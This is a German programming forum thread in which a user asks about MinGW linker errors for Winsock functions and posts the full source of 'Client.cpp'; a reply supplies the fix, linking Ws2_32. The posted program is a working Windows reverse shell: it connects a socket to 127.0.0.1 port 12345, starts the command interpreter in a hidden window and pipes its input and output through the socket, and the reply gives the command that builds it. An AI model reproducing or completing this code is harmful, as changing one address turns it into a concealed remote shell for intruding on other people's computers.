MinGw, compilationsfehler

neoexpert

Hallo! Wenn ich ein Programm mit g++ kompiliere bekomme ich folgende Fehlermeldungen:

C:\aha>g++ -mwindows Client.
cpp
C:\DOKUME_1\aha\LOKALE1\Temp/ccrpaKBA.o:Client.cpp:(.text+0x22): undefined ref
erence to WSAStartup@8' C:\\DOKUME~1\\aha\\LOKALE~1\\Temp/ccrpaKBA.o:Client.cpp:(.text+0x59): undefined ref erence toWSASocketA@24'
C:\DOKUME_1\aha\LOKALE1\Temp/ccrpaKBA.o:Client.cpp:(.text+0x95): undefined ref
erence to htons@4' C:\\DOKUME~1\\aha\\LOKALE~1\\Temp/ccrpaKBA.o:Client.cpp:(.text+0xab): undefined ref erence toinet_addr@4'
C:\DOKUME_1\aha\LOKALE1\Temp/ccrpaKBA.o:Client.cpp:(.text+0xd4): undefined ref
erence to connect@12' C:\\DOKUME~1\\aha\\LOKALE~1\\Temp/ccrpaKBA.o:Client.cpp:(.text+0x21a): undefined re ference toclosesocket@4'
collect2: ld returned 1 exit status

Folgende Datei ist es:

//---------------------------------------------------------------------------

#pragma   comment(lib,   "Ws2_32.lib")
#include <winsock2.h>
#include <stdio.h>

__fastcall int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	WSADATA WSAData;
        SOCKADDR_IN sin;
        SOCKET sock;
        WSAStartup( MAKEWORD( 2, 0 ), &WSAData );

        sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 );
        memset(&sin,0,sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten
        sin.sin_family=AF_INET;
        sin.sin_port=htons(12345); // wir verwenden mal port 12345
        sin.sin_addr.s_addr=inet_addr("127.0.0.1"); // zielrechner ist unser eigener

        long rc=connect(sock,(SOCKADDR*)&sin,sizeof(SOCKADDR));
        if(rc==SOCKET_ERROR)
                return 1;

        while( true )
        {
                //SOCKET tmp = accept( sock, 0, 0 );
                STARTUPINFO si = { 0 };
                PROCESS_INFORMATION pi = { 0 };
                char buff[ 2010 ];

                si.cb = sizeof( si );
                si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
                si.wShowWindow = SW_HIDE;
                si.hStdOutput = ( HANDLE )sock;
                si.hStdError = ( HANDLE )sock;
                si.hStdInput = ( HANDLE )sock;

                GetEnvironmentVariable( "COMSPEC", buff, 2000 );

                CreateProcess( buff, 0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &si, &pi );

                CloseHandle( pi.hProcess );
                CloseHandle( pi.hThread );
                closesocket( sock );
        }

        return 0;
}
//---------------------------------------------------------------------------

Du musst die Ws2_32-Bibliothek schon mitlinken.

g++ -lWs2_32 -mwindows -o client client.cpp